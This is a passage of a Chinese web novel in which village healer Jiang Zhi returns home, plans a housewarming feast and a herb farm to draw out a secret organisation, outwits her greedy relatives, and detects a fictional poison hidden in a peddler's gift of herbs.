姜芷翻过一页书,红唇轻启:“湿气下注,脾胃不和。” “回去找点白醋泡脚,加几片生姜,连泡一周。” 王柱的眼睛瞬间就亮了:“就这么简单?” “嗯,简单。” 姜芷抬头,瞥了他一眼。 “就是泡完脚,那盆可以扔了。味道太大,洗不掉。” 王柱:“……” 李铁在一旁憋笑憋得浑身发抖,肩膀一耸一耸的。 结果姜芷的目光轻轻飘了过去。 “你,打鼾声如雷,夜里时常憋醒,对吧?” 李铁的笑瞬间僵在脸上。王柱连忙点头如捣蒜。 “对对对!姜顾问您太神了!铁子打起呼噜来跟拖拉机似的,怎么都踹不醒!” “那是痰湿壅肺,气道不畅。” 姜芷慢条斯理地合上书。 “找点橘子皮晒干,就是陈皮,以后泡水喝。记住,晚饭别吃太饱。” 李铁和王柱对视一眼,满眼都是五体投地的崇拜。 神了! 跟着姜顾问出趟差,不光管吃管住,还顺带把陈年老毛病给看了! 这趟也太值了! 车厢里的气氛,瞬间从惊悚片切换到了养生频道,连空气都清新了不少。 三天后,吉普车终于驶入了红星大队的地界。 车轮碾过一条崭新的土路,压得平整夯实,一路向村里延伸。 路两边,沟渠纵横,许多社员正挥汗如雨地劳作,脸上却洋溢着前所未有的高昂干劲。 警卫员王柱扒着车窗,眼睛都看直了。 “团长,这……这就是资料里那个贫困大队?” 他扭头看向陆向东,满脸不可思议。 这热火朝天的景象,哪里看得出半点贫困的影子。 李铁也咋舌:“我瞅着比咱们师部旁边的模范村还有劲头。” 更让他们惊掉下巴的,是村东头拔地而起的那三间青砖大瓦房。 白墙黑瓦,样式敞亮,在一众低矮破旧的土坯房映衬下,气派得像是从年画里走出来的一样。 那正是公社和大队为姜芷母女盖的新房,主体已然完工,只等晾干择日上梁。 吉普车一进村,瞬间吸引所有人注意力。 “快看!是部队的吉普车!” “那个车牌……是芷丫头回来了?” 地里干活的社员们猛地直起腰,村口玩闹的半大孩子们也停下了追逐,所有人的目光,齐刷刷聚焦过来。 车子在姜芷家破旧的院门前停稳。 车门打开。 姜芷出现在众人眼前,整个村子都沸腾了。 “是姜神医!姜神医回来了!” “天哪!真的是芷丫头!平安回来了!” 不知谁先喊了一声,紧接着,四面八方的村民潮水般涌了过来,一张张黝黑的脸上,挂着最质朴的笑容。 “小芷啊,你可算回来了!你娘天天在村口盼着呢!” “芷丫头,这是我家刚下的鸡蛋,你拿着补补身子!” 一个大娘不由分说地将一篮鸡蛋塞进姜芷手里。 “姜医生,快进屋歇着,外面风大!” 李铁和王柱两个见惯了大场面的警卫员,被这阵仗冲击得有点发懵。 这欢迎仪式,比军区首长下来视察还夸张! 他们想上前维持秩序,却发现根本挤不进去,手里反倒被塞满了红薯干和花生。 就在这时,陆向东从驾驶座上下来。 他什么话也没说,只迈开长腿,走到姜芷身边。 高大的身躯,自然而然地将她护在身后,隔开了所有过于拥挤和喧嚣的人潮。 村民们看着并肩而立的两人,男的英武挺拔,女的清丽绝伦,眼神里都冒出了光。 “哎呀!这不是陆家那小子嘛!” “陆团长亲自送芷丫头回来的!这下错不了了,两人的好事这是定了!” “可不是嘛!郎才女貌,天生一对!” 在一片议论声中,即便姜芷自认脸皮比城墙薄一点点,眼前这场面,也是脸颊透出一抹绯红。 陆向东却坦然自若,唇角甚至微微上扬。 “都让让!都让让!” 大队长赵大山终于拨开人群挤了进来,看到姜芷,他黝黑的脸上笑成了一朵菊花:“芷丫头!你总算回来了!再不回来,你娘的头发都要愁白了!” 话音刚落,院门“吱呀”一声开了。 赵秀娥颤抖着声音走了出来,嘴唇哆嗦着,半天喊不出一个字。 “小芷……” 看到女儿安然无恙地站在眼前,她这些日子悬在半空的心,才终于落了地,眼泪夺眶而出。 “娘,我回来了。” 姜芷快步上前,扶住母亲,看到赵秀娥红润的脸色和明显硬朗起来的身子,也彻底松了口气。 人群外围,几道怨恨的目光,死死钉在这母女团聚、众星捧月的场面。 王桂香的指甲深深掐进掌心,咬牙切齿地对身旁的姜巧巧低语:“看见没!这个小贱人,尾巴都翘到天上去了!还有那个陆向东,真是瞎了眼!放着城里的高官女儿不要,非要这个村姑!” 姜巧巧的脸色比她更难看。 她盯着陆向东。 那个曾经午夜梦回都想嫁的男人,此刻正用她从未见过的眼神看着姜芷。 那种不容侵犯的保护姿态,狠狠扎着她的心口。 不远处的姜家老宅门口,姜老太拄着拐杖,一双浑浊的老眼里,全是悔恨和嫉妒。 第72章 鱼跑了?那就抽干池塘! 陆向东的脸色,“唰”地一下就沉了下去。 “放了?” “赵队长,一个来路不明的江湖骗子,骗了社员二十块钱,劳动改造一个月,就放了?” 赵大山一张老脸涨得通红,又羞又恼,一双大手都不知道该往哪儿放。 他看看陆向东,又看看旁边两个同样脸色难看的警卫员,心里更是打鼓。 这几个当兵的,官还不小,怎么就跟个骗了二十块钱的黄半仙杠上了? “陆团长,这……这事都怪我!是我糊涂了!” 赵大山悔得恨不能给自己两个大耳刮子。 “那个黄半仙……改造的时候实在太积极了!天天把语录背得滚瓜烂熟,抢着挑大粪,我寻思着这是改造典范,就……就提前让他走了……” 他说着说着,声音越来越小,自己都觉得这理由站不住脚。 李铁和王柱听得眼角直抽抽。 这哪是改造典范,这分明是把黄鼠狼当成三好青年给表彰了! 就在气氛凝重到极点时,一道清冷的声音打破了僵局。 “赵队长,这不怪你。” 姜芷端着赵秀娥递来的搪瓷缸,指尖轻轻拨开水面漂浮的茶叶末,慢悠悠地喝上一口。 “人家是专业的。” “那套‘思想改造’的戏码,怕是比你见的猪跑得都熟练。” 她淡然的语气,瞬间浇熄了陆向东心里的无名火。 这女人,好像天塌下来她都能先算算砸下来的石头能盖几间房。 但也让他感到了更深的棘手。 “他走的时候,是一个人?” 姜芷放下茶缸,问出了关键。 “对!就是一个人!” 赵大山一拍大腿,急忙道:“背着个破布包袱,说是改过自新,去投奔远房亲戚,谁也没在意!” 线索,彻底断了。 陆向东的眉头拧成了疙瘩。 人海茫茫,一个蓄意隐藏踪迹,背后还有组织的成员,上哪儿去找? 这几乎是个死局。 陆向东转向赵大山:“赵队长,今天我们问话的内容,一个字都不许传出去。就当我们没来过,没问过。” 赵大山被他眼里的厉色惊得一个激灵,连忙小鸡啄米似的点头:“我懂,我懂!陆团长放心,我烂在肚子里!” 他匆匆离开后,心里还在犯嘀咕。 难道这黄半仙,本事大到把陆团长家也给骗了? …… 晚饭,是在姜芷家的小破院里吃的。 赵秀娥拿出了过年都舍不得吃的腊肉,炖了一大锅白菜豆腐,又贴了金黄的玉米饼子。 饭桌上,气氛却透着一股说不出的古怪。 赵秀娥心疼女儿,一个劲儿地给姜芷和陆向东夹菜,嘴里念叨着“多吃点,在外面肯定受苦了”。 而陆向东和两个警卫员,对着满桌饭菜,如同嚼蜡。 满脑子都是那个消失的黄半仙。 只有姜芷,吃得坦然又安稳,仿佛什么都没发生。 饭后,赵秀娥去收拾碗筷。 陆向东终于忍不住,压低声音对姜芷说:“线索断了,我们必须马上想别的办法,再晚就……” “然后呢?” 姜芷打断他,正用一块干净的布擦着手。 “派人去全国的汽车站贴寻人启事?” “还是发一份协查通报,告诉所有人,我们要抓一个会念咒画符的江湖骗子?” 陆向东被她一连串的反问,堵得哑口无言。 他知道,那样做无异于大海捞针,更会彻底打草惊蛇,让对方藏得更深。 “鱼跑了,不代表我们就要干等着。” 姜芷擦完手,走到院子里的石桌旁坐下,月光将她的身影拉得清瘦而修长。 “既然没鱼咬钩,那我们就把整个池塘的水……都给它抽干。” 李铁和王柱听得云里雾里,面面相觑。 陆向东却瞬间明白了她的意思,眼睛一亮:“你的意思是……引蛇出洞?” “没错。”姜芷点了点头,“我们不去找他。我们反其道而行,大张旗鼓地干点事,干一件能让他们坐不住,必须派人来探查虚实的事。” 她伸出纤细的手指,遥遥指向村东头那栋在夜色中轮廓分明的新房。 “第一,搬家。我要办一场十里八乡最热闹的乔迁宴。” “第二,开荒。我要跟大队承包后山那片荒地,建一个红星大队最大的药材种植园。” “你设想一下。” “一个身怀绝技、被全村奉为‘活财神’的小神医,手里还握着‘血灵芝’这种百年难遇的稀世珍宝,突然要在这穷乡僻壤扎下根,搞这么大的产业……” 姜芷的目光扫过三人震惊的脸色,继续说。 “你们说,‘青囊阁’那帮对奇珍异草和特殊人才趋之若鹜的家伙,会不会好奇?” “会不会……派人过来亲眼看一看呢?” 陆向东的心脏,猛地擂鼓般狂跳起来。 高! 实在是高! 这哪里是抽干池塘,这分明是在平静的池塘里,扔下了一块色香味俱全、让他们无法抗拒的顶级诱饵! 旁边,李铁和王柱已经听得脑子成了一锅粥。 “所以……”王柱的思维还在原地打转,“咱们的任务,从抓特务,变成了……开荒种地?” 李铁一巴掌拍在他后脑勺上,压着嗓子。 “蠢!这叫阳谋!懂不懂?把鱼饵直接扔到龙王爷家门口,不怕它不上钩!” 陆向东没有理会两人,他的视线,像被磁石吸住,牢牢锁在姜芷身上。 这个女人,冷静得可怕,也耀眼得惊人。 “就这么办。” 陆向东立即拍板决定。 “人手,物资,还有造势,所有的事情,我来解决。” 姜芷唇角弯了弯。 跟聪明人合作,就是省力。 她这么做,固然是为了引蛇出洞,但也有私心。 这片贫瘠的土地,是她的新生之地,如果能借此机会,让这片土地焕发生机,带着村民们走出一条路,何乐而不为? 当晚,陆向东三人被赵大山安排住进了大队部闲置的院子,虽然简陋,但干净。 第二天一早。 姜芷和陆向东便直接找到了大队长赵大山。 “啥?承包后山那片‘鬼见愁’?” 赵大山惊得烟斗里的烟灰都洒了出来,他猛地摆手。 “不行不行!芷丫头,那地方邪性得很,石头疙瘩地,连根草都养不活,你把钱扔水里还能听个响,扔那儿,啥都没有!” 姜芷不急不缓,端起桌上的粗瓷碗喝了口水。 “赵队长,那地对别人是‘鬼见愁’,对我来说,是块宝地。” “那里的土质和石头,偏寒凉,正好适合种几味特殊的药材。” 陆向东适时接过了话头:“赵队长,这件事,我们已经考虑成熟了。姜芷同志的医术,你也知道,她需要的药材,有些是上面急需的,有特殊用途。” “上面?”赵大山心头一跳。 “这不光是姜芷个人的事,更是我们红星大队响应号召,为国家做贡献的好机会。”陆向东继续道,“承包的药田,名义上归大队集体所有,我们只负责技术和销路。将来产生的收益,大队拿大头。这事,我会亲自去跟公社的陈书记谈,申请政策支持。” 既是给“上面”办事,又是壮大集体经济,还不让大队出钱,这天大的好事砸下来,赵大山那点顾虑瞬间烟消云散。 他一拍大腿,脸膛涨得通红:“干!陆团长,芷丫头,你们放心,这事包在我身上!我这就去公社跑手续!” 第73章 神医家办席,全县大佬动起来 赵大山火急火燎地从公社跑回来,事情办妥,已是日头当顶。 红星大队沉寂一早上的大喇叭,突然“滋啦”一声,炸开。 赵大山吼山赶月般的嗓门,响彻整个村子。 “喂!喂!全体社员注意了!全体社员注意了!” “宣布两件天大的好事!” 田间地头弯腰干活的人,家里炕上纳鞋底的婆姨,全被这一嗓子喊得一激灵,竖起了耳朵。 “第一件!咱们村的活财神,芷丫头!她那三间青砖大瓦房,三天后上梁办席!地点就在村东头新房!” 赵大山吼得唾沫星子横飞。 “到时候有肉!有白面大馒头!都来!都来给咱们芷丫头贺喜!” “轰”地一下! 整个红星大队炸开了锅。 “肉?上梁宴吃肉?!” “天爷嘞!芷丫头可真出息了!” 不等村民们炸完,大喇叭里的声音拔得更高。 “第二件!更是天大的好事!经大队干部研究决定,公社陈支书亲自点头批准!” “咱们的姜神医,要承包后山那片‘鬼见愁’!开荒!建药田!” “以后咱们红星大队,不光有拖拉机,还要有自己的药材种植园!种出来的药,那都是要送到城里头去的!” 赵大山扯着嗓子,喊得脸红脖子粗,他自个儿激动得浑身都在抖。 这话一出,沸腾的红星大队,爆发出了比刚才激烈十倍的喧嚣! “啥玩意?承包‘鬼见愁’?那地方石头比土多,鬼都不拉屎啊!” “你懂个屁!那是谁?那是姜神医!是活菩萨!她说那地能种出金疙瘩,那地就绝不敢长出石头蛋子!” “就是!芷丫头说行,那就一定行!” 村民们对姜芷,已经是近乎盲目的狂热与崇拜。 而在另一头,姜家老宅。 王桂香正端着一碗稀得能照见人影的玉米糊糊,喇叭里的声音扎进她耳朵里。 她手一抖。 “哐当!” 土碗摔在地上,碎成了八瓣,浑黄的米汤溅了她一裤腿。 “她疯了!那个小贱人她疯了!” 王桂香指着村东头的方向,五官都扭曲了,“办上梁宴?承包荒山?她以为她是谁?土地婆下凡吗!” 屋里,姜老太拄着拐杖,重重往地上连着敲了三下,满眼的精打细算。 “上梁宴……有肉吃……” 她伸出舌头,舔着干裂起皮的嘴唇。 “叫上为民!到时候,咱们全家都去!她姜芷敢拦着,我就一头躺她家大门口不起来!我看她这个当孙女的脸往哪儿搁!” …… 红星大队的消息,不仅在十里八乡传了个遍,更是飞进了县城。 县城,一家不起眼的药铺后院。 一个满脸麻子的男人,正躬着身子,给一个端坐的黑衣人添茶。 “山鬼阁下,都打探清楚了。红星大队那个叫姜芷的丫头,邪门得很。治好周主任老娘,从特务手里抢回图纸,还被部队专机接走,救了十几个兵。” “现在,她要在村里大办宴席,还要承包‘鬼见愁’那片绝户地,种药。” 黑衣人端着茶杯,手背上,一个盘踞的小黑蛇纹身若隐若现。 他闻言,轻笑一声。 “有点意思。一个乡下丫头,既懂医术,又通人心,还能拿出‘血灵芝’那样的东西……黄石那个废物,就是折在她手上的?” 麻脸男的头垂得更低:“是,黄石被她三言两语就戳穿了底细,现在下落不明。” “废物。” 黑衣人将茶水凑到唇边,轻抿了一口,目光思索着。 “不过,这个姜芷,倒是一株可堪入药的‘奇才’。” “上梁宴那天,你亲自去,替我送份‘贺礼’,探探她的成色。” “是。” 麻脸男躬身退下。 …… 县革委会,周主任办公室。 秘书小李端着茶缸子,脚下生风地跑进来,气都喘不匀。 “主……主任!红星大队,姜神医她家……要办上梁宴了!” 周主任正低头批文件,笔尖一顿,猛地抬起头。 “上梁宴?” 自家老娘那场要命的湿疹,要不是姜芷,老太太现在还泡在药罐子里受罪呢。 “这可是天大的喜事!”周主任一拍桌子,“小李,你马上跑一趟供销社!不,我亲自去!” “把我家那张一直没舍得用的‘永久’牌自行车票拿出来,提一辆新的!再扯几尺最好的‘的确良’布料!不,要十尺!” 周主任的爱人闻讯也从隔壁办公室过来了,一脸喜气。 “老周,光送自行车和布哪够啊!我听说姜神医家里就她和她娘两个人,缺的东西多着呢!我想着,送一台‘蝴蝶’牌的缝纫机过去,才算有诚意!” 周主任一听,连连点头:“对对对!你这个想法好!就这么办!三天后,你跟我一起去!咱们得亲自把贺礼送到!” 另一头,县医院。 王建国医生正拿着一本德文版的《外科手术图解》看得入神,一个小护士像只快乐的百灵鸟,蹦跳着冲了进来。 “王医生,天大的好消息!我刚听说,红星大队的姜神医,她家新房要上梁办席啦!” 王建国捏着书页的手指蓦地收紧。 “姜神医”这三个字,现在对他来说,就是最高学术殿堂的代名词。 自从亲眼见证那匪夷所思的“血蛊”疗法后,他引以为傲的西医世界观就被震得稀碎,至今还在努力用中医理论往回粘。 “办席?” 王建国只觉得一股热流直冲脑门,他“蹭”地站起来。 机会来了! 这可是观摩学习,请教问题的绝佳机会! 他背着手,在办公室里来回踱步,嘴里念念有词。 “送什么?该送什么贺礼?” “送钱?太俗!简直是侮辱姜老师的境界!” “送吃的穿的?别人肯定会送,我不能跟他们一样!” 他,王建国,作为姜老师在医学道路上的“追随者”,送的礼必须有水平! 有内涵!而且要送到姜老师的心坎里去! 一番激烈的头脑风暴后,王建国猛地一拍大腿,有了! 他一把拉住准备开溜的小护士,双眼放光地吩咐:“快!去我宿舍,把我床底下那个上了锁的木头箱子打开!” “里面那套我托人从省城买的,全彩印刷的《中草药彩色图谱》,给我用新报纸包上!包得严严实实!” “还有!箱子里那个丝绒盒,装着我最宝贝的德国进口听诊器,也给我包上!那是我的最高敬意!” 小护士捂着嘴,一双眼睛笑成了弯月。 看王医生这激动样,不知道的还以为是他自己家办喜事呢。 王建国清了清嗓子,强行板起脸,维持着自己留洋医生的最后一点体面。 “三天后,我要亲自去红星大队,深入考察一下农村地区的医疗卫生建设情况!这份贺礼,是我们县医院对基层建设的一点心意!” 小护士拼命点头。 谁不知道啊,嘴硬心热的王医生,这是要去给亦师亦友的姜神医,送“拜师礼”了! 第74章 肉香飘十里,极品登门来 对于姜家老宅的算计和县里的动静,姜芷一无所知,也毫不在意。 此刻,她正带着陆向东和两个警卫员,站在后山那片“鬼见愁”前。 放眼望去,乱石嶙峋,杂草丛生,一片死寂荒凉。 “姜顾问……这地方,真能种出东西?” 李铁看着这片地,头皮发麻。 姜芷的目光扫过荒地,语气平淡。 “这里的石头,是现成的田埂,可以垒梯田,防水土流失。” “这里的杂草,烧成灰,是顶好的草木灰肥料。” “至于水源……” 姜芷的视线,投向了山下那条奔流不息的小河,和河边那台崭新的抽水泵。 “那不是现成的么?” 她三言两语,将一片绝地,擘画成了一块宝地。 “需要我做什么?”陆向东问。 “人手。”姜芷言简意赅,“开荒,需要大量的人手。这事,要请赵队长帮忙。” “好。”陆向东点头,“工分,粮食,我去跟他谈。” 他刚一转身,姜芷叫住他。 “等等。” 陆向东回头。 姜芷从随身的布包里,拿出一个小小的油纸包,递了过去。 “给你的。” “你的寒毒虽然清除,但这里山岚湿重,久了会诱发旧疾。这是辟寒祛湿的药丸,每日一颗。” 陆向东伸出手,接过带着她体温的油纸包,低头看着,半天没说话。 李铁和王柱几乎是同一时间,默契扭过头,一个望天,一个看地,假装自己是两根木头桩子。 团长这万年不开花的铁树,开出的第一朵花,竟带着药香味儿! “谢谢。” 陆向东吐出两个字,嗓音有些哑。 他没有看姜芷,而是极其珍重地,将那个小小的油纸包放进了最贴身的衬衣口袋里,紧紧挨着心口的位置。 ... 三天后,上梁宴。 红星大队的鸡叫都比平时早了半个小时。 天边刚泛起鱼肚白,村东头三间青砖到顶的人家门前,就已是人头攒动,喧闹得胜过年节赶集。 赵秀娥穿着一身蓝布新衣,穿梭在人群里,腰杆挺得笔直。 有人凑上来喊她“秀娥嫂子”,她会笑着点头。 有人喊她“神医她娘”,她脸上的光彩,比头顶的太阳还要灼人。 她忙得脚跟不沾地,心里却像是被蜜浸过,甜得冒泡,浑身都是使不完的劲儿。 院里,两口从大队食堂借来的大铁锅正“咕嘟咕嘟”地冒着热气。 锅里是切成拳头大的肥猪肉,配着吸饱了油水的白菜粉条。 那股混合了葱姜大料的霸道肉香,钻进每个人的鼻孔,馋得全村的小孩儿围着院墙,口水淌成了小河。 “天爷!这得是杀了一整头猪吧!陆团长可真实诚!” “什么陆团长,我看呐,该改口叫姑爷了!” “瞧瞧人家芷丫头,办个上梁宴,比咱过年吃的都好!她就配得上这样的好日子!” 村民们扯着嗓子议论,眼睛死死盯着锅里翻滚的肉块。 前两天,陆向东真不知从哪儿调来一支勘探队。 那群戴眼镜的文化人,对着“鬼见愁”那片乱石岗敲敲打打,立满小旗子。 村民们看不懂那些门道,但他们看得懂,那群城里人对姜芷的态度——毕恭毕敬。 姜芷只拿着根树枝,在地上画了几个圈,说了几句“这里修渠,那里垒坝”。 文化人们就跟得了圣旨,掏出小本本,“刷刷”地记个不停。 这下,村里再没人怀疑了。 姜神仙说这石头地能长出金疙瘩,那它就绝不敢长出个土豆来! 院子里,陆向东没穿军装,一身干净的白衬衫黑裤子,愈发衬得肩宽腿长。 他没怎么说话,只往院子中央一站,时不时用眼神扫一圈,那些想钻空子偷肉吃的熊孩子,就跟被老鹰盯上的小鸡崽子,瞬间老实了。 李铁和王柱,正一人抱着个大盆,给来贺喜的婶子大娘们分发白面馒头,嘴里还小声嘀咕。 “铁哥,团长这哪是来执行任务,这简直是衣锦还乡,带着媳妇儿见乡亲啊!”王柱挤眉弄眼。 李铁往嘴里塞了口馒头,含糊不清地回道:“出息!这叫事业爱情两不误!你瞧团长那眼神,都快在姜顾问身上烧出个洞了!” 王柱顺着他目光看去,果然。 陆向东的视线,正牢牢锁在屋檐下那个清冷的身影上。 姜芷正与大队长赵大山说话。 她神色依旧淡淡的,眉眼微弯,漾着柔和的波光。 “芷丫头,你放心!开荒的事,包在我身上!全村的壮劳力,我一个不留,全给你调过去!”赵大山拍着胸脯保证。 姜芷点了下头:“辛苦赵队长。工分按双倍算,参与开荒的,每人每天,额外补助三个白面馒头。” 赵大山眼珠子都快瞪出来了。 “双倍工分还给馒头?!我的乖乖,芷丫头,这、这太多了!” “不多。” “马儿要跑,就得吃饱草。我想早点看到药田的样子。” 这话,让赵大山心里最后一丝顾虑也烟消云散,只剩下满腔的感动和敬佩。 就在这时,人群中传来一阵不大不小的骚动。 “来了!姜家老宅那帮人来了!” 不知谁喊了一嗓子,院里院外的热闹声诡异地停了一瞬。 所有人,全都扭头看去。 只见姜老太拄着拐杖,由大媳妇李翠花搀着。 王桂香和姜巧巧跟在后头,一家人气势汹汹,又透着一股子底气不足的虚张声势,朝新房这边走来。 姜老太换了身浆洗得发白的干净衣裳,可那双浑浊老眼,却像饿了三天的狼,死死盯着院里的大铁锅。 王桂香则是一脸吃了苍蝇的表情,不情不愿地挪着步子,酸溜溜地嘀咕。 “哼,不知道的,还以为是哪个地主老财还乡了!” 姜老太的拐杖在地上重重一顿,压着嗓子呵斥:“闭嘴!今天是来吃肉的,不是来讨嫌的!” 她算盘打得精。 当着全村人的面,她这个亲奶奶亲自登门贺喜,姜芷要是敢不让她进门,就是不孝! 唾沫星子都能淹死她! 只要进了这院子,上了那桌子,锅里的肉,还不是她想怎么吃就怎么吃? 第75章 一碗病号饭,一份索命礼 姜家老宅的人一出现,满院的肉香味儿,都要硬生生拐个弯,带上馊味。 赵秀娥脸上热腾腾的笑意,瞬间凉了半截。 她下意识攥紧了崭新围裙的一角。 姜芷不知何时站到了她身边,轻声安慰。 “怕什么。” “兵来将挡,水来土掩。” “今天咱们是主人,他们是客,客不听话,打出去就是。” 赵秀娥听到这话,那颗被搅乱的心,立马平复不少。 姜芷现在是神医,是功臣,连部队大领导都敬着,她还怕这几个拎不清的做什么? 说话间,姜老太一行人已经杵到了院门口。 陆向东递过去一个眼神。 李铁和王柱立刻心领神会,往门口一站,左右一分,像两堵肉墙。 李翠话被这阵仗吓得脖子一缩,步子都迈不开了。 王桂香撇着嘴,阴阳怪气:“摆什么谱,当自己是皇帝老子了?” 姜老太活了一辈子,脸皮比城墙都厚,她是不怕的。 她把拐杖在青石板上“笃笃”敲得山响,吊起一双三角眼,冲着院里就扯开了嗓门。 “姜芷!我老婆子来给你贺喜,你就是这么个待客之道?让两条狗把亲奶奶拦在门外头?” 她这一嗓子,把周围所有人的目光都勾了过来。 这顶“不孝”的大帽子要是扣实了,换了以前的原主,怕是早就吓得跪地求饶了。 院子里的姜芷没接这茬。 她拿起一个干净的空碗,从旁边温着的一锅白粥里,盛了满满一碗。 粥色温润,米香清淡。 然后,她端着粥,款步走到门口,满脸微笑。 “奶奶,您说的这是哪里话,您能来,我这屋子都跟着沾光了。” 姜老太见她服软,得意地挺了挺腰杆,正要往里闯。 姜芷却把那碗粥往前一递。 “奶奶,您老人家大驾光临,我哪敢怠慢。特意给您留了这碗养生粥。您老最近肝火旺盛,脾胃又虚寒,这大鱼大肉是万万碰不得的,吃了容易引动肝风,说白了,就是中风。” “这粥里我加了茯苓和山药,最是清淡养人。来,您趁热喝了,对身体好。” 她说着,就要把碗塞到姜老太手里。 姜老太伸出去准备推开她往里挤的手,就那么僵在了半空中,笑脸瞬间凝固。 中风? 她就是奔着那一锅肉来的,谁要喝这清汤寡水的玩意儿! 周围的村民们先是一愣,随即“噗嗤”一声,有人没忍住,当场笑了出来。 “哎哟,芷丫头可真实诚!太孝顺了!” “可不是嘛!知道老太太身体不好,还特意给留了病号饭!” 这哪里是孝顺,这分明是当着全村人的面,指着鼻子说她姜老太是个只能喝粥的病秧子! 姜老太一张老脸从红到紫,气得浑身哆嗦,指着姜芷“你你你”了半天,一个字都说不出来。 她要是接了这碗粥,这肉就别想吃了。 她要是不接,那就是不识好歹,坐实了姜芷说的“肝火旺盛”。 “怎么,奶奶?”姜芷故作不解地眨了眨眼,脸上的关切真诚,让人挑不出半点错。 “您是不喜欢吗?这可是我专门为您熬的,这茯苓还是托陆团长从城里买的好货呢。” 陆向东适时地走上前来,站在姜芷身侧附和着。 “是啊,姜芷同志一片孝心,喝了吧。” 姜老太被他眼神一扫,心头猛地一颤,那股嚣张气焰顿时灭了一半。 眼看姜家老宅的人在门口被一碗粥堵得进退两难,成了全村的笑话,就在这时,一个陌生的声音从人群外传来。 “这位姑娘,真是好俊的医术,好巧的心思啊。” 众人闻声回头,只见一个挑着货郎担,作小贩打扮的中年男人挤了进来。 男人皮肤黝黑,一脸麻子,一双眼睛异常明亮,正饶有兴致地打量着姜芷。 他走到近前,放下担子,冲着姜芷拱了拱手,一脸憨笑。 “姑娘,我就是个走街串巷卖山货的,路过贵地,闻着香味就过来了。没别的意思,就是想跟您讨碗水喝。” “正好,看您今天上梁大喜,我这儿也没啥好东西,就这把刚从山里收来的草药,还算新鲜,您要是不嫌弃,就当我的贺礼了。” 说着,他从担子里拿出一个用草绳捆着的,半人高的大药包,递了过来。 陆向东立即警惕起来。 他身后的李铁和王柱,脸上的嬉笑也收敛起来。 这个货郎,站姿沉稳,下盘极稳,递药包的动作看似随意,实则手腕的角度和力道,都带着一股练家子的味道。 鱼,来了! “多谢。” 姜芷伸手接过药包,淡淡开口。 她将药包放在鼻尖,眼帘微垂,轻轻一嗅。 药包里混杂着几十种草药的气味,浓烈驳杂,但其中一股极隐蔽的甜香,刺激了她的神经。 醉龙涎。 一种致幻植物,本身无毒,一旦与动物油脂,尤其猪油混合加热,就会化作无色无味的剧毒,能让人在不知不觉中脏器衰竭而死。 而且,这“醉龙涎”被巧妙地藏在了一大堆气味浓烈的草药中间,手法极其高明。 若非对药理精通,根本不可能察觉。 好一招杀人于无形的“贺礼”! 眼前这位,必然就是青囊阁的人。 货郎的眼睛一眨不眨地盯着姜芷,想从她脸上捕捉异样。 然而,姜芷从头到尾都没什么表情变化。 她放下了药包,看向货郎,轻笑起来。 “老板真是客气了。这药材,品相极好,还带着山里清晨的露水味儿,是难得的好东西。” “尤其里面那几株‘七星草’,长势喜人。” “只是……这草有个毛病,金贵,最忌荤腥油腻,一沾上,药性就全毁了。” 姜芷一边说,一边瞥了眼院子里那口正翻滚着肉块的大铁锅,故意将醉龙涎说成七星草,让货郎心头一跳。 第76章 顺水摸鱼发现鱼窝 货郎脸上的憨厚,出现了一丝停顿。 但转瞬即逝。 他一拍大腿,声音洪亮,懊恼又庆幸的模样演得入木三分。 “哎呀!瞧我这死记性!姑娘您可真是行家,一眼就瞧出来了!对不住,对不住,我这一路奔波,脑子都僵了,差点办了坏事!” 这番滴水不漏的表演,让周围看热闹的村民们都信了几分,只觉得这货郎老实巴交的,被姜芷点出错误,还一个劲儿地感谢,是个实诚人。 可堵在门口的姜家老宅众人,脸都绿了。 一碗清粥,把他们死死钉在了耻辱柱上。 眼看一个外来的货郎都要被请进去了,自己这亲奶奶还被当贼一样防着,姜老太那股邪火再也压不住。 “反了天了!一个外人都能登堂入室,我这老婆子……” 她话还没喊完,姜芷直接打断了她。 “娘,把这位大哥的药材拿进去,仔细放好,别跟吃食沾上。” 这话是对赵秀娥说的,却像一记无形的耳光,火辣辣地抽在姜老太的脸上。 赵秀娥定了定神,连忙上前接过那沉甸甸的药包,女儿现在是她的主心骨。 姜芷这才转向那货郎。 “大哥远来是客,又送了这么重的礼,没有让您站着的道理。快请进,喝口热茶,暖暖身子。” 陆向东高大的身躯随之微微一侧,让开了通路。 他一言不发,可目光一直落在货郎身上。 李铁和王柱也撤了身形,一左一右跟在陆向东身后。 货郎的瞳孔一缩,依旧是那副憨厚相,连连拱手。 “哎哟,那可真是叨扰了!叨扰了!” 他挑着担子,目不斜视地从姜家老宅那几张铁青的脸庞边走过,踏进了院子。 这一幕,彻底点燃了王桂香的怒火。 “不孝的东西啊!一个要饭的都能进去吃肉,我们当亲人的就得在外面喝西北风?老天爷啊,你开开眼吧……” 她一屁股坐在地上,就准备撒泼打滚。 可惜,她这套陈旧的把戏,在红星大队已经不灵了。 “王桂香,你还要脸不?芷丫头是为了老太太身体着想,你当谁都跟你一样,为了口吃的不要命?” “就是!自己嘴馋,还往孩子身上泼脏水,有你这么当长辈的吗?” “快拉倒吧,肉香味儿都让你给搅和臭了!” 村民们的唾沫星子,比冬天的北风还刺骨。 姜老太脸皮再厚,也挂不住了,她用拐杖狠狠戳着地,含怒转身。 “走!为人不孝,早晚有老天爷收拾她!” 一家人灰头土脸,在一片哄笑声中,狼狈地逃离了现场。 院子里,货郎被陆向东“客气”地引到院角的小桌旁。 这个位置,恰好能将整个院子的动向尽收眼底,同时,他的一举一动也彻底暴露在陆向东和姜芷的视线里。 他喝了口水,状似无意地跟旁边择菜的大婶搭话,眼角余光却始终锁定着姜芷。 “大娘,你们村这姑娘可真了不得!这青砖大瓦房,在咱们十里八乡可是头一份儿!” “那是!”大婶与有荣焉地挺起胸膛,“我们芷丫头,那是神医!” 货郎眼珠一转,顺着话头压低了声音,故作神秘。 “可不是嘛!我听说……你们这姜神医要把村后那座‘鬼见愁’都给包下来,要开药田?这手笔也太大了!” 这话一出,院子里好几个人的耳朵都竖了起来。 姜芷正帮着分发碗筷,头也没抬,淡淡开口。 “消息传得倒快。算不上什么大手笔,就是响应号召,自力更生,看着荒山可惜,种种金银花、蒲公英之类不值钱的东西,给队里换点零花钱罢了。” 货郎听了,脸色不变,继续吹捧。 “哎呀!姜神医真是高风亮节!不过……您也太谦虚了。像您这样的高人,出手那不得是冲着人参、灵芝去的?那‘鬼见愁’听着邪乎,说不定就藏着什么稀世珍宝呢!” 他在“稀世珍宝”四个字上,加重了语气,像是抛钩钓鱼。 陆向东端着一盘刚出锅的白面馒头走过来,“咚”的一声重重放在桌上。 他声音平直,没什么情绪。 “珍宝哪是那么好碰的。安全第一,发展生产才是正经事。” 